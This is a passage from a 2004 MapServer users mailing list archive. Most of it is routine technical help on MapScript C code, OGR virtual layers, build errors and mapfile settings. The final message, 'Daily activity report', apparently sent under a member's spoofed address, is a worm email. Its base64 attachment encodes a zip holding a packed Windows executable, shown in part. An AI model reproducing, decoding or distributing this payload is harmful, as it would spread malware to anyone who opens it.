> > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From dmorissette at dmsolutions.ca Thu Mar 4 13:01:30 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 04 Mar 2004 16:01:30 -0500 Subject: [Mapserver-users] What am i doing wrong in this C program? In-Reply-To: <1414.64.58.31.38.1078427572.squirrel@a.mail.mho.net> References: <20040303172037.82111.qmail@web61109.mail.yahoo.com> <2858.64.58.31.38.1078337257.squirrel@a.mail.mho.net> <4046EB8E.4030705@schnegg.net> <1414.64.58.31.38.1078427572.squirrel@a.mail.mho.net> Message-ID: <4047992A.2010807@dmsolutions.ca> Note that some members of the mapObj and layerObj (e.g. name, template, etc.) are pointers and may be NULL if they were not set in the mapfile. You need to check that they are not NULL before printing them. Daniel mountainduo at mho.com wrote: > Hello, > > i am trying to access the layers of a mapObj and when i do, i get an > exception access violation...it seems that the layers are not initialized. > do i need to do anything other than msLoadMap? > > thanks > > theMap = (mapObj*)msLoadMap( filename, NULL ); > > printf( "Map->name %s\n", theMap->name ); > printf( "Map->status %i\n", theMap->status ); > printf( "Map->height %i\n", theMap->height ); > printf( "Map->width %i\n", theMap->width ); > printf( "Map->numlayers %i\n", theMap->numlayers ); > printf( "Map->transparent %i\n", theMap->transparent ); > printf( "Map->interlace %i\n", theMap->interlace ); > printf( "Map->imagequality %i\n", theMap->imagequality ); > printf( "Map->cellsize %i\n", theMap->cellsize ); > printf( "Map->extent.minx %i\n", theMap->extent.minx ); > printf( "Map->extent.miny %i\n", theMap->extent.miny ); > printf( "Map->extent.maxx %i\n", theMap->extent.maxx ); > printf( "Map->extent.maxy %i\n", theMap->extent.maxy ); > printf( "Map->units %i\n", theMap->units ); > printf( "Map->scale %i\n", theMap->scale ); > printf( "Map->resolution %i\n", theMap->resolution ); > printf( "Map->shapepath %s\n", theMap->shapepath ); > printf( "Map->numoutputformats %i\n", theMap->numoutputformats ); > > printf( "layers size %i\n", sizeof(theMap->layers) ); > for ( x = 0; x < theMap->numlayers; x++ ) > { > printf( "theMap->layer[%i].name: %s\n", x, theMap->layers[x].name ); > > }//end for x > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From gayathri at ou.edu Thu Mar 4 13:13:49 2004 From: gayathri at ou.edu (Swaminathan, Gayathri) Date: Thu, 4 Mar 2004 15:13:49 -0600 Subject: [Mapserver-users] MrSid Message-ID: <3FC4483968B5A048BBD9F3387EBFF5C05C705B@XMAIL1.sooner.net.ou.edu> Andrew: Yes. Just do a search in the list's archive for Mr.SID...There have been previous discussions on the same. Thanks Gayathri > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Albert Garcia > Sent: Thursday, March 04, 2004 7:56 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] MrSid > > > Hi all, > I'm very novice in mapserver applications (and in english > language, as you see. sorry). I'd made a simply application > and I would know if its posible view MrSid images on it. Thank you > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From bpicinbono at worldonline.fr Thu Mar 4 13:38:34 2004 From: bpicinbono at worldonline.fr (blaise) Date: Thu, 04 Mar 2004 22:38:34 +0100 Subject: [Mapserver-users] Displaying an Elevation Profile Message-ID: <4047A1DA.7030407@worldonline.fr> >> Hi, >> My data is a grid file (latitude, longitude, elevation). I would like to >> display the map on the web and by clicking the mouse in two points, be >> able to display the elevation profile between those two points. >> Any help will be appreciated. Tzipi, very interesting ! I would like to have time to work on it but I think this can be done with Php-MapScript (or other mapserver scripting languages). I see it this way : The graph will be drawn on a special layer (let's call it "graph"). You will draw the lines of the graph by creating new line shapes in the "graph" layer. You can draw the X axis by making a line between your two mouse points. You can draw two Y axis, one at each mouse points, orthogonal to the X axis. To draw the profile between the two Y axis, you will have to pick the elevation value in the appropriate grid elements (and make a few 2D computations). Tell me if that sounds strange to you ! I think that buildind such interactive graphics could increase MapServer interactivity, by the means of very simple programming (no java, cgi, or whatever, just basic mapserver). worth a try ? Blaise From mountainduo at mho.com Thu Mar 4 14:08:55 2004 From: mountainduo at mho.com (mountainduo at mho.com) Date: Thu, 4 Mar 2004 15:08:55 -0700 (MST) Subject: [Mapserver-users] What am i doing wrong in this C program? In-Reply-To: <4047992A.2010807@dmsolutions.ca> References: <20040303172037.82111.qmail@web61109.mail.yahoo.com> <2858.64.58.31.38.1078337257.squirrel@a.mail.mho.net> <4046EB8E.4030705@schnegg.net> <1414.64.58.31.38.1078427572.squirrel@a.mail.mho.net> <4047992A.2010807@dmsolutions.ca> Message-ID: <2016.64.58.31.38.1078438135.squirrel@a.mail.mho.net> I definelty have layers in my mapfile. are there certain required fields needed in order for the load function to load the layers (i looked at the reference doc but could not tell if something was required)? if i have a layer as default or on, i can display the map but i want to dynamically turn on or off layers. or are there other certain objects that are required in order for the layer object to load? > Note that some members of the mapObj and layerObj (e.g. name, template, > etc.) are pointers and may be NULL if they were not set in the mapfile. > You need to check that they are not NULL before printing them. > > Daniel > > > mountainduo at mho.com wrote: >> Hello, >> >> i am trying to access the layers of a mapObj and when i do, i get an >> exception access violation...it seems that the layers are not >> initialized. do i need to do anything other than msLoadMap? >> >> thanks >> >> theMap = (mapObj*)msLoadMap( filename, NULL ); >> >> printf( "Map->name %s\n", theMap->name ); >> printf( "Map->status %i\n", theMap->status ); >> printf( "Map->height %i\n", theMap->height ); >> printf( "Map->width %i\n", theMap->width ); >> printf( "Map->numlayers %i\n", theMap->numlayers ); >> printf( "Map->transparent %i\n", theMap->transparent ); >> printf( "Map->interlace %i\n", theMap->interlace ); >> printf( "Map->imagequality %i\n", theMap->imagequality ); >> printf( "Map->cellsize %i\n", theMap->cellsize ); >> printf( "Map->extent.minx %i\n", theMap->extent.minx ); >> printf( "Map->extent.miny %i\n", theMap->extent.miny ); >> printf( "Map->extent.maxx %i\n", theMap->extent.maxx ); >> printf( "Map->extent.maxy %i\n", theMap->extent.maxy ); >> printf( "Map->units %i\n", theMap->units ); >> printf( "Map->scale %i\n", theMap->scale ); >> printf( "Map->resolution %i\n", theMap->resolution ); >> printf( "Map->shapepath %s\n", theMap->shapepath ); >> printf( "Map->numoutputformats %i\n", theMap->numoutputformats ); >> >> printf( "layers size %i\n", sizeof(theMap->layers) ); >> for ( x = 0; x < theMap->numlayers; x++ ) >> { >> printf( "theMap->layer[%i].name: %s\n", x, >> theMap->layers[x].name ); >> >> }//end for x >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From nikolai.schwertner at tufts.edu Thu Mar 4 14:41:30 2004 From: nikolai.schwertner at tufts.edu (Nikolai Schwertner) Date: Thu, 4 Mar 2004 17:41:30 -0500 Subject: [Mapserver-users] Virtual Spatial Data Wiki Question Message-ID: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> Hi all, I am following the instructions from the wiki on "Virtual Spatial Data" to create a virtual layer from an ODBC data source (under Windows 2000). The OVF file works great with ogrinfo.exe, but fails with the following message when I try to load it in MapServer: msDrawMap(): Image handling error. Failed to draw layer named 'sb_pt'. msOGRFileOpen(): OGR error. Open failed for OGR connection `w:\app\virtual.ovf'. File not found or unsupported format. Past posts suggest that this problem may be related to the permissions of the Apache user over the OVF file. I don't think that this is the problem in this case. All permissions are in order and Apache has no problem accessing the file. I will appreciate any suggestions regarding this problem. Sincerely, Nikolai -- Nikolai Schwertner TCCS/Academic Technology Tufts University Medford, MA 02155 Phone: 617.627.2821 Fax: 617.627.3667 Email: nikolai.schwertner at tufts.edu From ms57 at streamyx.com Thu Mar 4 15:17:51 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Fri, 05 Mar 2004 07:17:51 +0800 Subject: [Mapserver-users] queryfile - solved Message-ID: <000901c4023e$ea6f09f0$3f3d5edb@maps> Yes, it was a simple case of changing to forward slashes in my init.html file - Thanks for the suggestions, Steve From spencer at dmsolutions.ca Thu Mar 4 15:47:54 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Thu, 04 Mar 2004 18:47:54 -0500 Subject: [Mapserver-users] Virtual Spatial Data Wiki Question In-Reply-To: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> References: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> Message-ID: <4047C02A.3010709@magma.ca> if it works with ogrinfo and not with mapserver/mapscript then you need a more recent version of mapserver binaries. It is not sufficient to replace gdalxx.dll, you must have a mapserver that was compiled against the newer gdal source code. You can find the latest 4.1 compiled for windows as of today here: http://www.maptools.org/dl/mapserver-4.1-dev-win32-php4.3.4.zip Cheers, Paul Nikolai Schwertner wrote: > Hi all, > > I am following the instructions from the wiki on "Virtual Spatial Data" to > create a virtual layer from an ODBC data source (under Windows 2000). The > OVF file works great with ogrinfo.exe, but fails with the following message > when I try to load it in MapServer: > > msDrawMap(): Image handling error. Failed to draw layer named 'sb_pt'. > msOGRFileOpen(): OGR error. Open failed for OGR connection > `w:\app\virtual.ovf'. File not found or unsupported format. > > Past posts suggest that this problem may be related to the permissions of > the Apache user over the OVF file. I don't think that this is the problem in > this case. All permissions are in order and Apache has no problem accessing > the file. > > I will appreciate any suggestions regarding this problem. > > Sincerely, > Nikolai > > -- > Nikolai Schwertner > TCCS/Academic Technology > Tufts University > Medford, MA 02155 > > Phone: 617.627.2821 > Fax: 617.627.3667 > Email: nikolai.schwertner at tufts.edu > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ----------------------------------------------------------------- |Paul Spencer spencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From warmerdam at pobox.com Thu Mar 4 15:52:20 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 04 Mar 2004 18:52:20 -0500 Subject: [Mapserver-users] Virtual Spatial Data Wiki Question In-Reply-To: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> References: <004501c40239$d6d4acb0$1e4d4082@tufts.ad.tufts.edu> Message-ID: <4047C134.5000202@pobox.com> Nikolai Schwertner wrote: > Hi all, > > I am following the instructions from the wiki on "Virtual Spatial Data" to > create a virtual layer from an ODBC data source (under Windows 2000). The > OVF file works great with ogrinfo.exe, but fails with the following message > when I try to load it in MapServer: > > msDrawMap(): Image handling error. Failed to draw layer named 'sb_pt'. > msOGRFileOpen(): OGR error. Open failed for OGR connection > `w:\app\virtual.ovf'. File not found or unsupported format. > > Past posts suggest that this problem may be related to the permissions of > the Apache user over the OVF file. I don't think that this is the problem in > this case. All permissions are in order and Apache has no problem accessing > the file. > > I will appreciate any suggestions regarding this problem. Nikolai, The other very common reason is when people have a new GDAL/OGR, but an old MapServer. For complex reasons, on windows it isn't enough to update the GDAL11.DLL to make MapServer use a newer version of GDAL/OGR. MapServer needs to be relinked. Also, ensure you are using ODBC System DSNs, not User DSNs. Otherwise the user the web server (and MapServer) runs as won't see the DSN. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From ksor at uclink.berkeley.edu Thu Mar 4 16:27:43 2004 From: ksor at uclink.berkeley.edu (Kendall Sor) Date: Thu, 04 Mar 2004 16:27:43 -0800 Subject: [Mapserver-users] mapserver install [compile time] Message-ID: hi here is my setup rehat 9 apache2 php4.3 postresql7.4.1 postgist0.8.1 mapserver 4.01 ### php install ** i took out the --with-apxs2=/usr/local/apache/bin/apxs since i read that we should not include this with mapserver php4 configure ./configure --with-pgsql=shared \ --prefix=/usr/local/php \ --enable-force-cgi-redirect \ --disable-cgi \ --with-zlib \ --with-gettext \ --with-regex=system \ --with-gdbm \ --enable-track-vars \ --with-xml ### other libraries required for mapserver libJPG b6 ./configure freetype-2.1.3 ./configure GD 2.0.22 ./configure --with-freetype=/usr/local/lib --with-jpeg=/usr/local/lib ### mapserver 4.01 ./configure --with-gd --with-freetype=/usr/local/lib/ --with-php=/tmp/php-4.3.4 --with-ming --with-postgis make, breaks on the maptemplate.o file. any help would be appreciated. do i should i need to edit the Makefile? then this is the following error i get: gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_MING_FLASH -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -I/usr/include maptemplate.c -o maptemplate.o In file included from maptemplate.h:8, from maptemplate.c:3: map.h:42:18: ming.h: No such file or directory In file included from maptemplate.h:8, from maptemplate.c:3: map.h:819: parse error before "SWFMovie" map.h:819: warning: no semicolon at end of struct or union map.h:821: parse error before '*' token map.h:821: warning: type defaults to `int' in declaration of `pasMovies' map.h:821: warning: data definition has no type or storage class map.h:827: parse error before '}' token map.h:827: warning: type defaults to `int' in declaration of `SWFObj' map.h:827: warning: data definition has no type or storage class map.h:858: parse error before "SWFObj" map.h:858: warning: no semicolon at end of struct or union map.h:858: warning: no semicolon at end of struct or union map.h:866: parse error before '}' token map.h:866: warning: type defaults to `int' in declaration of `img' map.h:866: warning: data definition has no type or storage class map.h:868: parse error before '}' token map.h:868: warning: type defaults to `int' in declaration of `imageObj' map.h:868: warning: data definition has no type or storage class map.h:871: parse error before "imageObj" map.h:872: parse error before '*' token map.h:955: parse error before '*' token map.h:955: warning: type defaults to `int' in declaration of `msDrawScalebar' map.h:955: warning: data definition has no type or storage class map.h:1031: parse error before '*' token map.h:1031: warning: type defaults to `int' in declaration of `msDrawLegend' map.h:1031: warning: data definition has no type or storage class map.h:1034: parse error before '*' token map.h:1034: warning: type defaults to `int' in declaration of `msCreateLegendIcon' map.h:1034: warning: data definition has no type or storage class map.h:1054: parse error before "imageObj" map.h:1062: parse error before "imageObj" map.h:1063: parse error before '*' token map.h:1063: warning: type defaults to `int' in declaration of `msDrawReferenceMap' map.h:1063: warning: data definition has no type or storage class map.h:1168: parse error before '*' token map.h:1168: warning: type defaults to `int' in declaration of `msDrawMap' map.h:1168: warning: data definition has no type or storage class map.h:1169: parse error before '*' token map.h:1169: warning: type defaults to `int' in declaration of `msDrawQueryMap' map.h:1169: warning: data definition has no type or storage class map.h:1171: parse error before "imageObj" map.h:1172: parse error before "imageObj" map.h:1173: parse error before "imageObj" map.h:1174: parse error before "imageObj" map.h:1175: parse error before "imageObj" map.h:1177: parse error before "imageObj" map.h:1178: parse error before "imageObj" map.h:1180: parse error before "imageObj" map.h:1181: parse error before "imageObj" map.h:1182: parse error before "imageObj" map.h:1183: parse error before "imageObj" map.h:1184: parse error before "imageObj" map.h:1186: parse error before '*' token map.h:1187: parse error before '*' token map.h:1188: parse error before '*' token map.h:1190: parse error before "imageObj" map.h:1191: parse error before "imageObj" map.h:1193: parse error before "imageObj" map.h:1194: parse error before "imageObj" map.h:1202: parse error before '*' token map.h:1203: warning: type defaults to `int' in declaration of `msImageCreateIM' map.h:1203: warning: data definition has no type or storage class map.h:1204: parse error before '*' token map.h:1204: warning: type defaults to `int' in declaration of `msImageLoadIM' map.h:1204: warning: data definition has no type or storage class map.h:1205: parse error before '*' token map.h:1206: parse error before "imageObj" map.h:1208: parse error before '*' token map.h:1209: parse error before '*' token map.h:1212: parse error before '*' token map.h:1213: parse error before '*' token map.h:1215: parse error before "imageObj" map.h:1216: parse error before "imageObj" map.h:1217: parse error before "imageObj" map.h:1218: parse error before "imageObj" map.h:1219: parse error before "imageObj" map.h:1221: parse error before '*' token map.h:1222: parse error before '*' token map.h:1230: parse error before '*' token map.h:1231: warning: type defaults to `int' in declaration of `msImageCreateGD' map.h:1231: warning: data definition has no type or storage class map.h:1232: parse error before '*' token map.h:1232: warning: type defaults to `int' in declaration of `msImageLoadGD' map.h:1232: warning: data definition has no type or storage class map.h:1233: parse error before '*' token map.h:1270: parse error before "imageObj" map.h:1274: parse error before "imageObj" map.h:1312: parse error before '*' token map.h:1313: warning: type defaults to `int' in declaration of `msImageCreate' map.h:1313: warning: data definition has no type or storage class map.h:1323: parse error before '*' token map.h:1324: warning: type defaults to `int' in declaration of `msImageCreateSWF'map.h:1324: warning: data definition has no type or storage class map.h:1326: parse error before "imageObj" map.h:1328: parse error before '*' token map.h:1331: parse error before '*' token map.h:1333: parse error before "imageObj" map.h:1336: parse error before "imageObj" map.h:1339: parse error before "imageObj" map.h:1341: parse error before "imageObj" map.h:1342: parse error before "imageObj" map.h:1351: parse error before '*' token map.h:1353: parse error before '*' token map.h:1355: parse error before '*' token map.h:1357: parse error before "imageObj" map.h:1440: parse error before "imageObj" In file included from map.h:1464, from maptemplate.h:8, from maptemplate.c:3: mapows.h:180: parse error before "imageObj" maptemplate.c: In function `msReturnTemplateQuery': maptemplate.c:157: invalid lvalue in assignment maptemplate.c:171: warning: assignment makes integer from pointer without a castmaptemplate.c:183: warning: assignment makes integer from pointer without a castmaptemplate.c:193: warning: assignment makes integer from pointer without a castmaptemplate.c:203: warning: assignment makes integer from pointer without a castmaptemplate.c: In function `processIcon': maptemplate.c:824: invalid lvalue in assignment maptemplate.c:830: warning: assignment makes integer from pointer without a castmaptemplate.c:836: warning: assignment makes integer from pointer without a castmaptemplate.c: In function `msGenerateImages': maptemplate.c:2649: `image' undeclared (first use in this function) maptemplate.c:2649: (Each undeclared identifier is reported only once maptemplate.c:2649: for each function it appears in.) make: *** [maptemplate.o] Error 1 From pramila at darya.nio.org Thu Mar 4 23:16:21 2004 From: pramila at darya.nio.org (Pramila R Gawas) Date: Fri, 05 Mar 2004 12:46:21 +0530 Subject: [Mapserver-users] mapscript help Message-ID: <40482945.2040502@darya.nio.org> i am using following mapscript : Converted the image to 8 bits tiff convert -depth=8 in.tif india.tif Used gdaltindex to create shapefile as follows: gdaltindex india.tif Created world file "india.tfw" as follows: 2.93 # 0 0 6.50 # 65 -25 Extent of map in map file: EXTENT 0 0 440 650 ***************************************** MAP NAME 'test1' SIZE 500 400 EXTENT 0 0 440 650 UNITS METERS STATUS ON LAYER NAME india STATUS DEFAULT DATA india TYPE RASTER CLASS COLOR 181 181 181 OUTLINECOLOR 0 0 0 END END # counties END which gives a blank map on output thanks pramila From gis at schnegg.net Fri Mar 5 00:09:56 2004 From: gis at schnegg.net (Frank Rittinger) Date: Fri, 05 Mar 2004 09:09:56 +0100 Subject: [Mapserver-users] Image size out of range ... In-Reply-To: <4047580E.1040400@dmsolutions.ca> References: <404705B0.4010506@schnegg.net> <4047580E.1040400@dmsolutions.ca> Message-ID: <404835D4.9000109@schnegg.net> Hello Daniel, as Steve pointed out, this is not documented, and when I tried it out mapserver complained about a corrupt mapfile: msLoadMap(): Unknown identifier. Parsing error near (MAXSIZE):(line 20)
Although, I found in mapfile.c, that the MAXSIZE is printed in saveMap. Daniel Morissette wrote: > > Since version 4.0 (not sure about 3.6), you should be able to set > MAXSIZE 2200 at the top-level in your mapfile to override the default. > > Daniel Bye, Frank From timothy.mackey at ga.gov.au Fri Mar 5 01:07:15 2004 From: timothy.mackey at ga.gov.au (timothy.mackey at ga.gov.au) Date: Fri, 05 Mar 2004 16:07:15 +0700 Subject: [Mapserver-users] Daily activity report Message-ID: ----------krcavjxebtmalndpeceh Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------krcavjxebtmalndpeceh Content-Type: application/octet-stream; name="bcadc.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="bdbccabad.zip" UEsDBAoAAAAAAACAZTBKH8ydAD4AAAA+AAAMAAAAbWdkYXV3ZmouZXhlTVqQAAMAAAAEAAAA //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4f ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K JAAAAAAAAADEoj5LgMNQGIDDUBiAw1AYgMNQGIPDUBgO3EMYr8NQGGjcVRiBw1AYfONCGIHD UBhHxVYYgcNQGFJpY2iAw1AYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwBCRUBA AAAAAAAAAADgAA8BCwEFDABAAAAAEAAAAHAAALCwAAAAgAAAAMAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAACkwwAAFAEAAADAAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAA AACAAADgVVBYMQAAAAAAQAAAAIAAAAA0AAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA ABAAAADAAAAABgAAADgAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 